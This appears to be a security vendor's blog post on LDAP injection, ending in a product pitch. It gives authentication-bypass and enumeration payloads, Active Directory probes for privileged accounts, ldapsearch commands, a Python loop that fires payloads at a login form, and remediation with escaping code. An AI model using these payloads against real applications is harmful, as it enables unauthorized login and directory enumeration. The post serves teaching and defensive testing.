LDAP Injection Testing: Exploiting Directory Services and Active Directory

LDAP injection sits in a peculiar position in the vulnerability landscape: it's textbook stuff that's been known for two decades, yet it remains surprisingly common in enterprise applications that authenticate against Active Directory or other directory services. The reason is partly historical — developers who learned LDAP authentication from legacy examples often got examples that concatenated user input directly into LDAP filters without escaping — and partly that LDAP-backed login forms often don't get the same scrutiny as SQL-backed ones.

For applications used by enterprise security teams, this matters. An LDAP injection in a login form doesn't just bypass authentication — it can expose the entire directory structure, enumerate users and groups, and in some configurations exfiltrate password hashes.

How LDAP Injection Works

LDAP (Lightweight Directory Access Protocol) uses a filter syntax to query directory entries. A typical authentication query looks like this:

(&(uid=username)(userPassword=password))

If the application constructs this filter by string concatenation from user input:

String filter = "(&(uid=" + username + ")(userPassword=" + password + "))";

Then an attacker who enters *)(uid=* as the username causes the filter to become:

(&(uid=*)(uid=*)(userPassword=anything))

The leading (& is now evaluating uid=* — which matches any user — alongside a trivially satisfiable condition. Depending on how the application processes the LDAP result, this may authenticate the attacker as the first user in the directory.

The exact impact depends on the LDAP server configuration, the query structure, and how the application interprets an empty or multi-record result. But authentication bypass is the primary risk.

LDAP Filter Syntax Basics

Understanding LDAP injection requires knowing the filter operators that can be injected:

Operator Syntax Meaning
AND (&(filter1)(filter2)) Both conditions must be true
OR (|(filter1)(filter2)) At least one condition must be true
NOT (!(filter)) Condition must be false
Equality (attr=value) Attribute equals value
Wildcard (attr=*) Attribute is present (any value)
Substring (attr=val*) Attribute starts with "val"
Approx (attr~=value) Approximate match

The special characters that require escaping in LDAP filters are: ( ) * \ NUL. When user input containing these characters reaches a filter construction without escaping, injection becomes possible.

Testing for LDAP Injection

Initial Detection Payloads

Start by identifying fields that might be used in LDAP queries — login forms are the obvious target, but search fields that look up users, groups, or directory objects are also candidates.

Inject characters that are syntactically meaningful in LDAP filters and observe application behavior:

# Wildcard injection — does the application accept * as a valid username?
username: *
password: anything

# Parenthesis injection — does the application error or behave differently?
username: )
username: (
username: *(

# Filter operators — observe if behavior changes
username: *)(uid=*
username: admin)(&(uid=admin)

# Null byte
username: admin%00

Error messages, empty responses, and timing differences can all indicate that the input is reaching an LDAP query. A generic "authentication failed" for normal invalid credentials but a different response (success, different error, stack trace) for injected input suggests injection.

Authentication Bypass Payloads

Classic authentication bypass attempts for login forms backed by LDAP:

# Wildcard in username — matches any user
username: *
password: *

# TRUE condition injection — forces the entire filter to evaluate true
username: admin)(&
password: anything

# Password field injection — bypass password check
username: admin
password: *)((|

# Force OR condition — match any valid user
username: *)(|(uid=*
password: anything

# Classic admin bypass
username: admin)(&(password=*)
password: anything

The specific payload that works depends on how the application constructs the filter and which LDAP attributes it uses. If the application uses sAMAccountName (Active Directory) rather than uid, substitute accordingly.

Enumeration via Blind LDAP Injection

Even when direct authentication bypass isn't possible, blind LDAP injection can enumerate valid usernames through response differentiation. If the application returns a distinct response for "user doesn't exist" vs "wrong password," that two-state oracle enables username enumeration:

# If these payloads produce "wrong password" rather than "user not found",
# the injected filter is matching a real user
username: adm*          # does "adm" match a prefix of a real account?
username: admi*         # narrowing down with binary search on prefix
username: admin*        # exact match

# Enumerating attributes via substring matching
username: a*)(uid=a*    # test if any uid starts with 'a'

This approach is slow but effective for discovering valid accounts in an application that uses LDAP for directory lookups.

LDAP Injection in Search Functionality

Beyond login forms, applications often expose LDAP-backed search — user lookup by name, employee directory, group membership search. These are frequently overlooked injection points.

# Testing a user search form
search: *)(objectClass=*
search: *)(|(cn=*
search: test*)(uid=*

# Enumerating all users
search: *
search: )(uid=*)(uid=*

# Extracting attributes via wildcard matching
search: admin)(userPassword=*  # does password attribute exist and have a value?

Search injection is often lower impact than auth injection (no immediate account compromise) but can expose the full directory structure to an authenticated attacker.

Active Directory-Specific Considerations

Most enterprise applications run against Active Directory rather than OpenLDAP. AD has a few specifics worth knowing:

Attribute names differ. AD uses sAMAccountName for the login name, userPrincipalName for the UPN, memberOf for group membership, and distinguishedName for the DN. OpenLDAP typically uses uid and cn.

Passwords are not stored accessibly. AD stores passwords as NTLM hashes in a protected attribute (unicodePwd) that cannot be read through LDAP even by authenticated queries. An LDAP injection on AD cannot directly retrieve password hashes the way some OpenLDAP configurations can.

Anonymous bind may be restricted. Many AD deployments require an authenticated service account for LDAP queries. The application's service account credentials define the injection's scope.

# AD-specific attribute enumeration
username: *)(sAMAccountName=*
username: *)(memberOf=CN=Domain Admins*

# Check if running as high-privilege service account
username: *)(adminCount=1)(uid=*  # adminCount=1 indicates protected privileged accounts

Automated Testing with ldapsearch and Custom Scripts

For structured testing, ldapsearch (part of OpenLDAP client tools) lets you query an LDAP server directly if you have network access and credentials:

# Basic connectivity test
ldapsearch -H ldap://target.example.com -x -b "dc=example,dc=com" "(objectClass=*)"

# Enumerate users (requires bind credentials)
ldapsearch -H ldap://target.example.com -D "cn=service,dc=example,dc=com" -w password \
  -b "ou=users,dc=example,dc=com" "(objectClass=person)" cn mail sAMAccountName

# Test for null bind (anonymous access)
ldapsearch -H ldap://target.example.com -x -b "dc=example,dc=com" "(objectClass=*)"

For black-box testing without direct LDAP access, Burp Suite's Intruder or a Python script that iterates injection payloads against the login form works effectively. The key is capturing response differentials — content length, response time, or specific strings in the response body.

import requests

target = "https://app.example.com/login"
payloads = [
    "*",
    "*)((|",
    "admin)(&",
    "*)(uid=*",
    "admin)(&(password=*)",
]

for payload in payloads:
    resp = requests.post(target, data={"username": payload, "password": "x"})
    print(f"[{resp.status_code}] [{len(resp.text)}] {payload}")

LDAP Injection via DN and Search Base

Some applications accept user-supplied Distinguished Names or search base parameters — for example, allowing users to specify which organizational unit to search. This is a less common but higher-impact injection scenario:

# If the application uses user input in the search base (DN)
searchBase: dc=example,dc=com)(|(objectClass=*)
searchBase: ou=users,dc=example,dc=com\00

# DN injection in group or role lookup
groupDN: cn=users,dc=example,dc=com)(cn=admin

DN injection requires the application to incorporate user input directly into the base DN of a search, which is unusual but occurs in multi-tenant applications that scope searches by tenant identifier.

Remediation

The fix for LDAP injection is input validation plus proper escaping — the same principle as SQL injection prevention.

Escape special characters. Before incorporating user input into an LDAP filter, escape the following characters: \ * ( ) NUL. Most LDAP libraries provide an escaping function:

# Java — using Spring LDAP
String safeName = LdapEncoder.filterEncode(username);

# Python — using ldap3
from ldap3.utils.conv import escape_filter_chars
safe_name = escape_filter_chars(username)

# Node.js — ldapjs
const ldap = require('ldapjs');
const safeName = ldap.escape(username);

Use parameterized queries where available. Some LDAP libraries support parameterized filter construction that handles escaping automatically.

Validate input format. Usernames typically conform to a predictable pattern (alphanumeric, possibly dots and hyphens). Reject input that contains LDAP metacharacters before it reaches the query.

Apply the principle of least privilege. The service account used by the application for LDAP queries should have the minimum permissions required — read access to the specific attributes needed, scoped to the relevant OU. A read-only service account limits what an injection can expose.

Log and monitor LDAP queries. Anomalous patterns — wildcard-heavy filters, queries returning unexpectedly large result sets, filters containing parentheses from user-controllable fields — should trigger alerts.

How Ironimo Tests for LDAP Injection

Ironimo's scanning engine tests login forms and search endpoints for LDAP injection by submitting a crafted set of payloads designed to produce observable differences between successful and failed injection attempts. The scan covers authentication bypass payloads, wildcard enumeration, filter operator injection, and error-based fingerprinting of the underlying directory service.

Because LDAP injection is often blind — no verbose errors, just response size or timing differences — the scanner uses multiple probe patterns and compares response differentials to detect injection rather than relying on error messages alone.

LDAP injection in enterprise login forms is one of those vulnerabilities that gets missed in manual code reviews but shows up clearly in behavioral testing. Ironimo runs LDAP injection probes as part of its standard authentication testing module.

Start free scan
← Back to blog